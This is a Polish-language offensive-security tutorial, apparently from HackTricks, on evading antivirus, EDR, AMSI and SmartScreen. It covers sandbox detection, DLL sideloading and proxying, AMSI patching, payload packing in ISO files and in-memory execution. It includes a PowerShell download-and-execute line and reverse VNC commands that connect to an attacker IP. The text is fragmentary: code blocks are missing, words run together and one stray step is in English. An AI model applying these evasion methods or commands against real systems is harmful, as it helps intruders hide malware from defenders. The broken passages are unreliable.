<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
Obecnie programy antywirusowe (AV) używają różnych metod sprawdzania, czy plik jest złośliwy, czy nie, statyczną detekcję, analizę dynamiczną i dla bardziej zaawansowanych rozwiązań EDR, analizę behawioralną.
Statyczna detekcja jest osiągana poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, sygnatury cyfrowe, ikona, suma kontrolna, itp.). Oznacza to, że korzystanie z znanych publicznych narzędzi może sprawić, że zostaniesz łatwiej wykryty, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju detekcji:
Jeśli zaszyfrujesz plik binarny, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebował pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.
Czasami wystarczy zmienić niektóre ciągi znaków w swoim pliku binarnym lub skrypcie, aby ominąć AV, ale może to być zadanie czasochłonne, w zależności od tego, co próbujesz zasłonić.
Dobrym sposobem sprawdzenia statycznej detekcji Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na kilka segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, w ten sposób może powiedzieć ci dokładnie, jakie ciągi znaków lub bajtów są oznaczone w twoim pliku.
Gorąco polecam obejrzenie tej [playliście na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) dotyczącej praktycznego unikania AV.
Analiza dynamiczna polega na uruchomieniu twojego pliku binarnego w piaskownicy i obserwowaniu złośliwej aktywności (np. próba odszyfrowania i odczytu haseł z przeglądarki, wykonywanie minidumpa na LSASS, itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.
* **Uśpienie przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na obejście dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, więc używanie długich uśpienia może zakłócić analizę binarnych plików. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć uśpienie, w zależności od tego, jak jest to zaimplementowane.
* **Sprawdzanie zasobów komputera** Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. <2GBRAM),wprzeciwnymraziemogłybyspowolnićpracęużytkownika.Tutajrównieżmożeszbyćbardzokreatywny,naprzykładsprawdzająctemperaturęprocesoralubnawetprędkościwentylatorów,niewszystkobędziezaimplementowanewpiaskownicy.
* **Sprawdzenia specyficzne dla maszyny** Jeśli chcesz skierować się do użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do tej, którą określiłeś, jeśli nie, możesz zmusić swój program do wyjścia.
Okazuje się, że komputer piaskownicy Microsoft Defender ma nazwę HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detenacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy defendera, więc możesz zmusić swój program do wyjścia.
Na przykład, jeśli chcesz wykonać dump LSASS, **czy naprawdę musisz użyć mimikatz**? Czy nie mogłbyś użyć innego projektu, który jest mniej znany i również wykonuje dump LSASS.
Prawdopodobnie właściwą odpowiedzią jest ta druga opcja. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z, jeśli nie najbardziej oznaczonych przez AV i EDRs szkodliwych programów, podczas gdy sam projekt jest super, jest to również koszmar, aby pracować z nim w celu uniknięcia AV, więc po prostu poszukaj alternatyw dla tego, co chcesz osiągnąć.
Podczas modyfikowania swoich ładunków w celu uniknięcia, upewnij się, że **wyłączysz automatyczne przesyłanie próbek** w defenderze, i proszę, serio, **NIE WYSYŁAJ NA VIRUSTOTAL** jeśli twoim celem jest osiągnięcie uniknięcia na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez określone AV, zainstaluj go na maszynie wirtualnej, spróbuj wyłączyć automatyczne przesyłanie próbek i przetestuj go tam, aż będziesz zadowolony z wyniku.
Zawsze, gdy to możliwe, **zawsze daj pierwszeństwo użyciu DLL-ek do unikania**, moim doświadczeniem, pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma sposób działania jako DLL oczywiście).
**Wstrzykiwanie DLL** wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.
Możesz sprawdzić programy podatne na wstrzykiwanie DLL za pomocą [Siofra](https://github.com/Cybereason/siofra) i następującego skryptu powershell:
Gorąco zalecam **samodzielne zbadanie programów podatnych na przejęcie DLL/Sideloadable**, ta technika jest dość skryta, jeśli jest wykonana poprawnie, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać wykryty.
Po prostu umieszczenie złośliwej DLL o nazwie, którą program oczekuje załadować, nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje określonych funkcji wewnątrz tej DLL. Aby rozwiązać ten problem, skorzystamy z innej techniki o nazwie **DLL Proxying/Forwarding**.
**DLL Proxying** przekierowuje wywołania, które program wykonuje z poziomu proxy (i złośliwej) DLL do oryginalnej DLL, zachowując tym samym funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci/sgn)), jak i proxy DLL mają wskaźnik wykrywalności 0/26 w [antiscan.me](https://antiscan.me)! Nazwałbym to sukcesem.
**Gorąco polecam** obejrzenie [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz również [filmu ippsec'a](https://www.youtube.com/watch?v=3eROsG\_WNpE), aby dowiedzieć się więcej o tym, o czym rozmawialiśmy bardziej szczegółowo.
Unikanie jest jak grę w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, dlatego nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć kilka technik unikania.
AMSI został stworzony, aby zapobiegać "[malware'owi bezplikowemu](https://en.wikipedia.org/wiki/Fileless\_malware)". Początkowo programy antywirusowe były w stanie skanować **pliki na dysku**, więc jeśli udało ci się uruchomić ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.
Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w programie Windows Defender.
Ponieważ AMSI głównie działa z wykrywaniem statycznym, zmodyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
Jednak AMSI ma zdolność do odszyfrowywania skryptów nawet jeśli mają one wiele warstw, więc obfuskacja może być złym wyborem w zależności od tego, jak jest wykonana. Sprawia to, że unikanie nie jest tak proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.
Ponieważ AMSI jest implementowany poprzez załadowanie biblioteki DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), jest możliwe łatwe manipulowanie nim nawet uruchamiając się jako użytkownik bez uprawnień. Ze względu na tę wadę w implementacji AMSI, badacze znaleźli kilka sposobów na uniknięcie skanowania AMSI.
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie uruchomione skanowanie dla bieżącego procesu. Początkowo zostało to ujawnione przez [Matt Graeber](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
Wystarczyła jedna linia kodu PowerShell, aby uniemożliwić użycie AMSI dla bieżącego procesu PowerShell. Oczywiście ta linia została wykryta przez AMSI, więc konieczne jest wprowadzenie pewnych modyfikacji, aby skorzystać z tej techniki.
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/\_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu jej instrukcjami zwracającymi kod dla E\_INVALIDARG, w ten sposób wynik rzeczywistego skanu zwróci 0, co jest interpretowane jako czysty wynik.
Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) dla bardziej szczegółowego wyjaśnienia.
Istnieje wiele innych technik używanych do ominięcia AMSI za pomocą powershell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) oraz [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
Istnieje kilka narzędzi, które można użyć do **obfuskacji jawnego kodu C#**, generowania **szablonów metaprogramowania** do kompilowania binariów lub **obfuskacji skompilowanych binariów**, takich jak:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartej wersji [LLVM](http://www.llvm.org/), która zapewnia zwiększone bezpieczeństwo oprogramowania poprzez [obfuskację kodu](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) i zabezpieczenie przed ingerencją.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, zasłoniętego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.
* [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę zasłoniętych operacji generowanych przez szkielet metaprogramowania C++, co utrudni osobie chcącej złamać aplikację życie.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to zaawansowany framework obfuskacji kodu na poziomie kodu asemblera dla języków obsługiwanych przez LLVM, wykorzystujący ROP (programowanie zwracające się). ROPfuscator obfuskuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, zwalczając nasze naturalne pojęcie normalnego przepływu sterowania.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor jest w stanie przekształcić istniejące pliki EXE/DLL w kod shellcode, a następnie załadować je
Microsoft Defender SmartScreen to mechanizm bezpieczeństwa mający na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
SmartScreen głównie działa w oparciu o podejście oparte na reputacji, co oznacza, że pobieranie aplikacji rzadkości spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik można nadal uruchomić, klikając Więcej informacji -> Uruchom w każdym razie).
**MoTW** (Mark of The Web) to [Alternatywny Strumień Danych NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) o nazwie Zone.Identifier, który jest automatycznie tworzony podczas pobierania plików z internetu, wraz z adresem URL, z którego został pobrany.
<figure><imgsrc="../.gitbook/assets/image (234).png"alt=""><figcaption><p>Sprawdzanie alternatywnego strumienia danych Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
Bardzo skutecznym sposobem zapobiegania otrzymywaniu znaku Mark of The Web przez twoje ładunki jest umieszczenie ich w pewnego rodzaju kontenerze, takim jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowany do **woluminów nie NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć oznaczenia Mark-of-the-Web.
Ładowanie binarnych plików C# do pamięci jest znane od dłuższego czasu i nadal jest bardzo dobrym sposobem uruchamiania narzędzi post-eksploatacyjnych bez wykrycia przez AV.
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już umożliwia wykonanie zbiorów C# bezpośrednio w pamięci, ale istnieją różne sposoby tego wykonania:
Polega na **uruchomieniu nowego procesu ofiarnego**, wstrzyknięciu złośliwego kodu post-eksploatacyjnego do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie następuje **poza** naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji post-eksploatacyjnej, istnieje **dużo większa szansa** na **przeżycie implantu.** Wadą jest **większe ryzyko** wykrycia przez **Wykrywanie Zachowań**.
Polega na wstrzyknięciu złośliwego kodu post-eksploatacyjnego **do własnego procesu**. W ten sposób można uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje **dużo większe ryzyko****utrata beaconu**, ponieważ może on ulec awarii.
Jeśli chcesz dowiedzieć się więcej o ładowaniu zbiorów C#, zapoznaj się z tym artykułem [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) oraz ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Zaproponowane w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), jest możliwe wykonanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanej maszynie dostęp **do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB**.
Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można **wykonać dowolny kod w tych językach w pamięci** zainfekowanej maszyny.
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **większą elastyczność w omijaniu statycznych sygnatur**. Testowanie losowych niezaciemnionych skryptów powłamania zwrotnego w tych językach udowodniło swoją skuteczność.
Unikanie jest bardzo skomplikowanym tematem, czasami trzeba wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc jest praktycznie niemożliwe pozostanie całkowicie niezauważonym w dojrzałych środowiskach.
Gorąco zachęcam do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki unikania.
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binarne**, aż **dowie się, która część Defendera** uznaje za złośliwą i podzieli to z tobą.\
Innym narzędziem, które robi to **samo, jest** [**avred**](https://github.com/dobin/avred) z otwartą ofertą usługi w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Pobierz go z: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (chcesz pobrać pliki binarne, a nie instalator)
**Atakujący** powinien **wykonać wewnątrz** swojego **hostingu** plik binarny `vncviewer.exe -listen 5900`, aby był **gotowy** do przechwycenia odwrotnej **łączności VNC**. Następnie, wewnątrz **ofiary**: Uruchom demona winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
* Nie uruchamiaj `winvnc`, jeśli już działa, w przeciwnym razie wywołasz [okienko popup](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
* Nie uruchamiaj `winvnc` bez pliku `UltraVNC.ini` w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
* Nie uruchamiaj `winvnc -h` dla pomocy, w przeciwnym razie wywołasz [okienko popup](https://i.imgur.com/oc18wcu.png)
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.